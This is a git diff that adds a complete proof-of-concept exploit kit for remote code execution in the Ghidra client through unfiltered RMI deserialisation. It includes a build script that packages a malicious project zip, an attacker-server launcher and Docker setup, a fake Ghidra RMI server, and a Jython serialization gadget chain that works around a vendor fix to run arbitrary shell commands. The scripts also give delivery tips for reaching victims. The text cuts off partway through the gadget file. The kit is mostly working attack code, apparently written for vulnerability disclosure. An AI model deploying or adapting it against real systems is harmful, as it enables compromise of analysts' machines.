diff --git a/MADBugs/ghidra-rmi-rce/poc/build.sh b/MADBugs/ghidra-rmi-rce/poc/build.sh
new file mode 100755
index 0000000..9a445eb
--- /dev/null
+++ b/MADBugs/ghidra-rmi-rce/poc/build.sh
@@ -0,0 +1,130 @@
+#!/bin/bash
+#
+# build.sh -- produce a PoC Ghidra "project" archive that triggers RCE when the
+# victim opens it.
+#
+# Output:
+# Pwn.zip -- the payload to deliver to the victim
+# └─ EvilProject/
+# ├─ EvilProject.gpr -- .gpr marker; user double-clicks this
+# └─ EvilProject.rep/
+# ├─ projectState --
+# ├─ project.prp
+# └─ idata/, user/, versioned/ (empty skeleton)
+#
+# Usage:
+# ./build.sh [--out output.zip]
+#
+# The command that runs on the victim is chosen at *serve* time by demo.sh,
+# not at build time -- the zip contains only a URL pointing at the attacker
+# server. See demo.sh --cmd.
+#
+# Why not a .gar? Ghidra's RestoreTask.FILES_TO_SKIP (RestoreTask.java:50-55)
+# explicitly drops /projectState entries when extracting .gar archives -- so
+# the .gar path filters the payload out before it can land on disk. Delivery
+# has to bypass RestoreTask: plain zip (Safari auto-extracts), tarball,
+# `git clone`, AirDrop, shared drive, etc. all work because the user extracts
+# the project directory themselves and then opens it.
+
+set -euo pipefail
+
+OUT="$PWD/Pwn.zip"
+POSARGS=()
+while [[ $# -gt 0 ]]; do
+ case "$1" in
+ --out) OUT="$2"; shift 2 ;;
+ -h|--help)
+ grep '^#' "$0" | sed 's/^# \?//' | head -40
+ exit 0 ;;
+ *) POSARGS+=("$1"); shift ;;
+ esac
+done
+
+if [[ ${#POSARGS[@]} -lt 2 ]]; then
+ cat <&2
+usage: $0 [--out ]
+
+ host running EvilGhidraServer (reachable from victim)
+ base port (13100 default; victim opens 13100+1 for SSL test)
+
+ --out output zip path (default: ./Pwn.zip).
+
+Note: the PoC ships a project.prp WITHOUT an OWNER element. When
+Ghidra reads it at DefaultProjectData.java:307 --
+
+ owner = properties.getString(OWNER, getUserName());
+
+-- the missing OWNER property defaults to the current (victim) user's
+username, which then trivially passes the isOwner() check at line 126.
+So the attack is untargeted: the same Pwn.zip works on any macOS user.
+EOF
+ exit 1
+fi
+
+HOST="${POSARGS[0]}"
+PORT="${POSARGS[1]}"
+
+# Locate a local Ghidra distribution so we can seed a valid .rep skeleton.
+GHIDRA_DIR="${GHIDRA_DIR:-$(cd "$(dirname "${BASH_SOURCE[0]}")/../ghidra_12.2_DEV" && pwd)}"
+if [[ ! -x "$GHIDRA_DIR/support/analyzeHeadless" ]]; then
+ echo "error: GHIDRA_DIR=$GHIDRA_DIR has no analyzeHeadless" >&2
+ exit 1
+fi
+
+STAGE=$(mktemp -d)
+trap 'rm -rf "$STAGE"' EXIT
+mkdir -p "$STAGE/seed"
+
+echo "[+] seeding skeleton project via analyzeHeadless"
+"$GHIDRA_DIR/support/analyzeHeadless" "$STAGE/seed" Seed \
+ -import /bin/ls -noanalysis >/dev/null 2>&1 || true
+
+if [[ ! -d "$STAGE/seed/Seed.rep" ]]; then
+ echo "error: seed project not created at $STAGE/seed/Seed.rep" >&2
+ exit 1
+fi
+
+# Rename seed -> EvilProject
+mv "$STAGE/seed/Seed.gpr" "$STAGE/seed/EvilProject.gpr"
+mv "$STAGE/seed/Seed.rep" "$STAGE/seed/EvilProject.rep"
+
+# The payload: one XML element inside projectState pointing at the attacker.
+cat > "$STAGE/seed/EvilProject.rep/projectState" <
+
+
+
+
+
+
+EOF
+
+# project.prp without an OWNER element. On open,
+# DefaultProjectData.java:307 falls back to getUserName() when OWNER is absent,
+# which then passes isOwner() at line 126 for any victim user. This is what
+# turns the attack from "needs the victim's macOS username" into "works on
+# anyone who opens the zip".
+cat > "$STAGE/seed/EvilProject.rep/project.prp" <<'EOF'
+
+
+
+
+
+EOF
+
+mkdir -p "$(dirname "$OUT")"
+(cd "$STAGE/seed" && zip -qr "$OUT" EvilProject.gpr EvilProject.rep)
+
+echo "[+] wrote PoC: $OUT"
+echo " attacker host : $HOST"
+echo " attacker port : $PORT"
+echo " victim owner : (project.prp has no OWNER; defaults to victim's \$USER)"
+echo ""
+echo "# Delivery: ship $OUT to the victim. When they extract it and open"
+echo "# EvilProject.gpr in Ghidra (double-click, or File -> Open Project),"
+echo "# DefaultProject.restore() reads projectState, calls addProjectView"
+echo "# on ghidra://${HOST}:${PORT}/Pwn, and the attacker server returns"
+echo "# a deserialisation gadget."
+echo ""
+echo "# Start the attacker server (command to execute is specified here):"
+echo "# ./poc/demo.sh --cmd 'open -a Calculator' --port $PORT"
diff --git a/MADBugs/ghidra-rmi-rce/poc/demo.sh b/MADBugs/ghidra-rmi-rce/poc/demo.sh
new file mode 100755
index 0000000..6d465e2
--- /dev/null
+++ b/MADBugs/ghidra-rmi-rce/poc/demo.sh
@@ -0,0 +1,63 @@
+#!/bin/bash
+#
+# demo.sh -- start the attacker server for the Ghidra-client-RCE PoC.
+#
+# The victim side of this attack is the analyst's actual Ghidra install; only
+# the attacker runs in Docker. Flow:
+#
+# (on attacker) ./build.sh -> Pwn.zip
+# ./demo.sh --cmd '' [--host 0.0.0.0] [--port 13100]
+#
+# (on victim) unzip Pwn.zip
+# open Ghidra, File -> Open Project -> EvilProject.gpr
+# (or double-click EvilProject.gpr if .gpr is associated)
+#
+# '' runs on the victim's host.
+#
+# The command is chosen *here*, not at build time -- the zip contains only a
+# URL pointing at this server; the gadget payload is generated on the fly when
+# the victim connects, so you can re-arm without rebuilding Pwn.zip.
+
+set -euo pipefail
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+HOST="${HOST:-0.0.0.0}"
+PORT="${PORT:-13100}"
+CMD="${CMD:-}"
+
+while [[ $# -gt 0 ]]; do
+ case "$1" in
+ --host) HOST="$2"; shift 2 ;;
+ --port) PORT="$2"; shift 2 ;;
+ --cmd) CMD="$2"; shift 2 ;;
+ --help|-h)
+ grep '^#' "$0" | head -40; exit 0 ;;
+ *) echo "unknown flag: $1" >&2; exit 1 ;;
+ esac
+done
+
+if [[ -z "$CMD" ]]; then
+ CMD='open -a Calculator'
+ echo "[demo] no --cmd / \$CMD; defaulting to: $CMD" >&2
+fi
+
+export CMD
+export PORT
+export HOST
+
+# Build and launch the attacker container with Docker Compose.
+cd "$SCRIPT_DIR/docker"
+
+echo "[demo] building evil-ghidra-server image"
+docker compose build --quiet
+
+echo "[demo] starting evil-ghidra-server on ${HOST}:${PORT} (+1 for SSL probe)"
+echo "[demo] command armed : $CMD"
+echo ""
+echo "Now, on the victim, open the project in Ghidra:"
+echo " unzip Pwn.zip && open EvilProject/EvilProject.gpr # macOS"
+echo ""
+echo "[demo] attach container logs with Ctrl-C to stop:"
+echo ""
+
+docker compose up --abort-on-container-exit
diff --git a/MADBugs/ghidra-rmi-rce/poc/docker/Dockerfile b/MADBugs/ghidra-rmi-rce/poc/docker/Dockerfile
new file mode 100644
index 0000000..a6daa13
--- /dev/null
+++ b/MADBugs/ghidra-rmi-rce/poc/docker/Dockerfile
@@ -0,0 +1,32 @@
+FROM eclipse-temurin:21-jdk
+
+# Attacker-side image: compiles JythonGadget + EvilGhidraServer against the
+# Jython JAR that ships with Ghidra, generates a self-signed cert, and
+# listens for inbound RMI calls from the victim's Ghidra client.
+#
+# Only Jython is pulled out of the Ghidra distribution (the gadget needs it
+# at *build* time for type resolution). Nothing else from Ghidra is shipped
+# in the attacker image.
+
+WORKDIR /exploit
+COPY exploit/JythonGadget.java /exploit/
+COPY exploit/EvilGhidraServer.java /exploit/
+COPY exploit/jython-standalone-2.7.4.jar /exploit/jython.jar
+
+RUN javac -cp /exploit/jython.jar \
+ JythonGadget.java EvilGhidraServer.java \
+ && keytool -genkeypair -alias evil -keyalg RSA -keysize 2048 \
+ -storetype PKCS12 -keystore evil.p12 \
+ -storepass changeit -keypass changeit \
+ -dname "CN=evilserver" \
+ -ext "SAN=DNS:evilserver,DNS:localhost,IP:127.0.0.1,IP:0.0.0.0" \
+ -validity 365
+
+EXPOSE 13100 13101
+
+# CMD / PORT are injected at run time by compose.yaml (see environment:).
+ENTRYPOINT ["/bin/sh", "-c", "\
+ exec java --add-opens java.base/java.util=ALL-UNNAMED \
+ -cp .:/exploit/jython.jar \
+ EvilGhidraServer \"${PORT:-13100}\" /exploit/evil.p12 \"${CMD:?CMD not set}\" \
+"]
diff --git a/MADBugs/ghidra-rmi-rce/poc/docker/compose.yaml b/MADBugs/ghidra-rmi-rce/poc/docker/compose.yaml
new file mode 100644
index 0000000..f592741
--- /dev/null
+++ b/MADBugs/ghidra-rmi-rce/poc/docker/compose.yaml
@@ -0,0 +1,19 @@
+services:
+ evil-ghidra-server:
+ build:
+ # Build context is poc/ so the Dockerfile can COPY exploit/*.java in.
+ context: ..
+ dockerfile: docker/Dockerfile
+ image: evil-ghidra-server:latest
+ container_name: evil-ghidra-server
+ environment:
+ # Command to execute on the victim. demo.sh exports this from --cmd
+ # or the .armed_cmd stash; override directly here if running manually:
+ CMD: "${CMD:?CMD is required (e.g. 'open -a Calculator')}"
+ PORT: "${PORT:-13100}"
+ ports:
+ # Expose to the host so a locally-running Ghidra can reach ghidra://
+ # localhost:13100/. For a remote victim, bind to a public interface
+ # or run this container on a routable host.
+ - "${PORT:-13100}:13100" # RMI SSL registry
+ - "${PORT2:-13101}:13101" # RMI SSL probe port
diff --git a/MADBugs/ghidra-rmi-rce/poc/exploit/EvilGhidraServer.java b/MADBugs/ghidra-rmi-rce/poc/exploit/EvilGhidraServer.java
new file mode 100644
index 0000000..b30e433
--- /dev/null
+++ b/MADBugs/ghidra-rmi-rce/poc/exploit/EvilGhidraServer.java
@@ -0,0 +1,212 @@
+import javax.net.ssl.*;
+import java.io.*;
+import java.net.*;
+import java.rmi.server.UID;
+import java.security.KeyStore;
+
+/**
+ * Malicious "Ghidra Server" for exploiting unfiltered RMI deserialisation in
+ * the Ghidra client (ghidra.framework.client.ServerConnectTask).
+ *
+ * The Ghidra client, when connecting to a shared project / ghidra:// URL:
+ * 1. Probes basePort+1 with a plain TCP connect (FastConnectionFailSocket).
+ * 2. Performs an SSL handshake on basePort+1 (testServerSSLConnection).
+ * By default the client uses OpenTrustManager -> any self-signed cert is
+ * accepted (DefaultTrustManagerFactory.java:100,262-289).
+ * 3. Creates an SSL RMI registry stub for basePort and calls reg.list()
+ * then reg.lookup(). The return value is deserialised via
+ * MarshalInputStream.readObject() with NO ObjectInputFilter on the
+ * client side (the server sets one in GhidraServer.java:979; the
+ * client never does).
+ *
+ * This server:
+ * - Listens on basePort+1 with an SSL socket that just completes the
+ * handshake (satisfies step 2).
+ * - Listens on basePort with an SSL-wrapped JRMP responder that answers
+ * every RMI call with a serialised gadget payload as the return value.
+ *
+ * The payload (raw java-serialised object graph minus the leading STREAM
+ * header) is loaded from a file produced by JythonGadget.
+ */
+public class EvilGhidraServer {
+
+ static String cmd;
+
+ public static void main(String[] args) throws Exception {
+ if (args.length < 3) {
+ System.err.println("usage: EvilGhidraServer ");
+ System.exit(1);
+ }
+ int basePort = Integer.parseInt(args[0]);
+ String ksPath = args[1];
+ cmd = args[2];
+ log("command: " + cmd);
+
+ SSLContext ctx = buildSSLContext(ksPath, "changeit");
+ SSLServerSocketFactory ssf = ctx.getServerSocketFactory();
+
+ // Handshake-only listener on basePort+1 (the "RMI SSL port" probed by
+ // testServerSSLConnection).
+ new Thread(() -> handshakeListener(ssf, basePort + 1)).start();
+
+ // JRMP gadget responder on basePort (the SSL RMI registry port).
+ SSLServerSocket regSock = (SSLServerSocket) ssf.createServerSocket(basePort);
+ log("evil registry listening on :" + basePort + " (SSL JRMP)");
+ while (true) {
+ Socket s = regSock.accept();
+ new Thread(() -> {
+ try {
+ handleJRMP(s);
+ }
+ catch (Throwable t) {
+ log("jrmp handler: " + t);
+ }
+ finally {
+ try { s.close(); } catch (IOException ignore) {}
+ }
+ }).start();
+ }
+ }
+
+ /** Accept connections on the SSL probe port and complete the handshake. */
+ static void handshakeListener(SSLServerSocketFactory ssf, int port) {
+ try {
+ SSLServerSocket ss = (SSLServerSocket) ssf.createServerSocket(port);
+ log("ssl probe listener on :" + port);
+ while (true) {
+ Socket s = ss.accept();
+ new Thread(() -> {
+ try {
+ if (s instanceof SSLSocket ssl) {
+ ssl.startHandshake();
+ }
+ // Hold briefly so the client sees a clean handshake.
+ s.getInputStream().read();
+ }
+ catch (Throwable ignore) {}
+ finally {
+ try { s.close(); } catch (IOException ignore) {}
+ }
+ }).start();
+ }
+ }
+ catch (Throwable t) {
+ log("handshakeListener: " + t);
+ }
+ }
+
+ /**
+ * Minimal JRMP responder: speak just enough StreamProtocol to receive one
+ * Call and reply with a NormalReturn whose value is the gadget object.
+ * RegistryImpl_Stub.list() / lookup() will readObject() it on the client.
+ */
+ static void handleJRMP(Socket s) throws Exception {
+ log("jrmp connect from " + s.getRemoteSocketAddress());
+ DataInputStream in = new DataInputStream(s.getInputStream());
+ DataOutputStream out = new DataOutputStream(s.getOutputStream());
+
+ int magic = in.readInt();
+ short version = in.readShort();
+ byte protocol = in.readByte();
+ log(String.format(" magic=0x%08x ver=%d proto=0x%02x", magic, version, protocol));
+
+ if (protocol == 0x4b) { // StreamProtocol
+ out.writeByte(0x4e); // ProtocolAck
+ out.writeUTF(s.getInetAddress().getHostAddress());
+ out.writeInt(s.getPort());
+ out.flush();
+ in.readUTF(); // client's default endpoint host
+ in.readInt(); // client's default endpoint port
+ }
+ else if (protocol != 0x4c) { // SingleOp falls through; anything
+ log(" unsupported protocol"); // else we just bail.
+ return;
+ }
+
+ // Drain bytes until we see the Call marker (0x50). We don't actually
+ // need to parse the call -- we always return the same payload.
+ int b;
+ while ((b = in.read()) != -1) {
+ if (b == 0x50) {
+ break;
+ }
+ }
+ if (b != 0x50) {
+ log(" no Call marker received");
+ return;
+ }
+ // Burn the call's MarshalInputStream header + ObjID/opnum/hash so the
+ // client side doesn't deadlock waiting for us to read.
+ skipFully(in, 4 /*aced0005*/);
+ // Best-effort: don't block forever on call args.
+ s.setSoTimeout(500);
+ try {
+ byte[] tmp = new byte[256];
+ while (in.read(tmp) > 0) {
+ if (in.available() == 0) break;
+ }
+ }
+ catch (IOException ignore) {}
+
+ log(" sending gadget as ReturnData");
+ out.writeByte(0x51); // TransportConstants.Return
+ // The client wraps the rest in a MarshalInputStream (an
+ // ObjectInputStream), so we emit a fresh stream header and then the
+ // return-type byte, ack UID, and the object body. annotateClass must
+ // write a (null) location object so MarshalInputStream.resolveClass
+ // stays in sync.
+ ObjectOutputStream oos = new MarshalLikeOOS(out);
+ oos.writeByte(0x01); // NormalReturn
+ new UID().write(oos);
+ oos.writeObject(JythonGadget.buildPayload(cmd));
+ oos.flush();
+ log(" payload sent");
+ }
+
+ /**
+ * ObjectOutputStream that writes a String location annotation (null) for
+ * each class descriptor, matching sun.rmi.server.MarshalOutputStream so
+ * the client's MarshalInputStream stays in sync.
+ */
+ static class MarshalLikeOOS extends ObjectOutputStream {
+ MarshalLikeOOS(OutputStream out) throws IOException {
+ super(out);
+ // Stream header (0xaced0005) is written by super().
+ }
+ @Override
+ protected void annotateClass(Class> cl) throws IOException {
+ writeObject(null);
+ }
+ @Override
+ protected void annotateProxyClass(Class> cl) throws IOException {
+ writeObject(null);
+ }
+ }
+
+ // ---------------------------------------------------------------------
+
+ static SSLContext buildSSLContext(String ksPath, String pass) throws Exception {
+ KeyStore ks = KeyStore.getInstance("PKCS12");
+ try (FileInputStream fis = new FileInputStream(ksPath)) {
+ ks.load(fis, pass.toCharArray());
+ }
+ KeyManagerFactory kmf =
+ KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
+ kmf.init(ks, pass.toCharArray());
+ SSLContext ctx = SSLContext.getInstance("TLS");
+ ctx.init(kmf.getKeyManagers(), null, null);
+ return ctx;
+ }
+
+ static void skipFully(DataInputStream in, int n) throws IOException {
+ while (n > 0) {
+ int s = (int) in.skip(n);
+ if (s <= 0) { in.readByte(); s = 1; }
+ n -= s;
+ }
+ }
+
+ static void log(String s) {
+ System.err.println("[evil] " + s);
+ }
+}
diff --git a/MADBugs/ghidra-rmi-rce/poc/exploit/JythonGadget.java b/MADBugs/ghidra-rmi-rce/poc/exploit/JythonGadget.java
new file mode 100644
index 0000000..721ac70
--- /dev/null
+++ b/MADBugs/ghidra-rmi-rce/poc/exploit/JythonGadget.java
@@ -0,0 +1,164 @@
+import org.python.core.*;
+
+import java.io.*;
+import java.lang.reflect.*;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/**
+ * Java-serialization RCE gadget using only classes from
+ * jython-standalone-2.7.4.jar (ships on the Ghidra client classpath at
+ * Ghidra/Features/Jython/lib/).
+ *
+ * Jython 2.7.4 added a hard "throw UnsupportedOperationException" to
+ * PyFunction.readResolve(), killing the classic Jython1 ysoserial chain.
+ * This gadget routes around that fix:
+ *
+ * PriorityQueue.readObject -> heapify -> siftDownUsingComparator
+ * -> Proxy(Comparator).compare(a,b)
+ * -> PyMethod.invoke() [PyMethod implements InvocationHandler,
+ * is Serializable, has NO readResolve guard]
+ * -> PyMethod.__call__([a,b])
+ * -> __func__.__call__(__self__, a, b)
+ * where __func__ = BuiltinFunctions("eval", index=18) -> __builtin__.eval
+ * __self__ = PyBytecode (hand-assembled CPython 2.7 bytecode)
+ * a, b = globals/locals dicts (the PriorityQueue elements)
+ * => __builtin__.eval(PyBytecode, globals, locals)
+ * => Py.runCode(...) interprets the bytecode
+ * => java.lang.Runtime.getRuntime().exec({"/bin/sh","-c", CMD})
+ *
+ * Everything in the graph is Serializable: PyMethod, BuiltinFunctions
+ * (-> PyBuiltinFunctionSet -> ... -> PyObject), PyBytecode, PyStringMap,
+ * PyJavaType (via PyType$TypeResolver).
+ */
+public class JythonGadget {
+
+ /** CPython 2.7 opcodes. */
+ private static final int LOAD_CONST = 0x64;
+ private static final int LOAD_ATTR = 0x6a;
+ private static final int CALL_FUNCTION = 0x83;
+ private static final int POP_TOP = 0x01;
+ private static final int RETURN_VALUE = 0x53;
+
+ /**
+ * Build a PyBytecode that runs Runtime.getRuntime().exec({"/bin/sh","-c",cmd})
+ * using only LOAD_CONST / LOAD_ATTR / CALL_FUNCTION so no globals/builtins
+ * lookup is required after deserialisation.
+ */
+ static PyBytecode buildCode(String cmd) {
+ PyObject runtimeType = PyType.fromClass(java.lang.Runtime.class);
+ PyObject cmdList =
+ new PyList(new PyObject[] {
+ Py.newString("/bin/sh"), Py.newString("-c"), Py.newString(cmd)
+ });
+
+ PyObject[] consts = new PyObject[] {
+ Py.None, // 0
+ runtimeType, // 1
+ cmdList, // 2
+ };
+ String[] names = new String[] { "getRuntime", "exec" };
+
+ byte[] code = new byte[] {
+ (byte) LOAD_CONST, 1, 0, // Runtime
+ (byte) LOAD_ATTR, 0, 0, // .getRuntime
+ (byte) CALL_FUNCTION, 0, 0, // ()
+ (byte) LOAD_ATTR, 1, 0, // .exec
+ (byte) LOAD_CONST, 2, 0, // cmd list
+ (byte) CALL_FUNCTION, 1, 0, // (cmd)
+ (byte) POP_TOP,
+ (byte) LOAD_CONST, 0, 0, // None
+ (byte) RETURN_VALUE,
+ };
+
+ return new PyBytecode(
+ 0, // argcount
+ 0, // nlocals
+ 8, // stacksize
+ 0, // flags
+ new String(code, java.nio.charset.StandardCharsets.ISO_8859_1),
+ consts,
+ names,
+ new String[0], // varnames
+ "", "", 0, "");
+ }
+
+ static Object buildPayload(String cmd) throws Exception {
+ PyBytecode code = buildCode(cmd);
+
+ // __builtin__.eval -> BuiltinFunctions index 18, accepts 1..3 args.
+ // BuiltinFunctions is package-private; instantiate reflectively.
+ Class> bfCls = Class.forName("org.python.core.BuiltinFunctions");
+ Constructor> bfCtor =
+ bfCls.getDeclaredConstructor(String.class, int.class, int.class, int.class);
+ bfCtor.setAccessible(true);
+ PyObject evalFn = (PyObject) bfCtor.newInstance("eval", 18, 1, 3);
+
+ // Bound method: eval.__get__(code) -> calling it with (g,l) runs
+ // eval(code, g, l). im_class can be anything non-null.
+ PyMethod method = new PyMethod(evalFn, code, PyType.fromClass(PyBytecode.class));
+
+ Comparator> cmp = (Comparator>) Proxy.newProxyInstance(
+ JythonGadget.class.getClassLoader(),
+ new Class[] { Comparator.class },
+ method);
+
+ // The two queue elements become the (globals, locals) arguments to eval.
+ PyStringMap globals = new PyStringMap();
+ PyStringMap locals = new PyStringMap();
+
+ PriorityQueue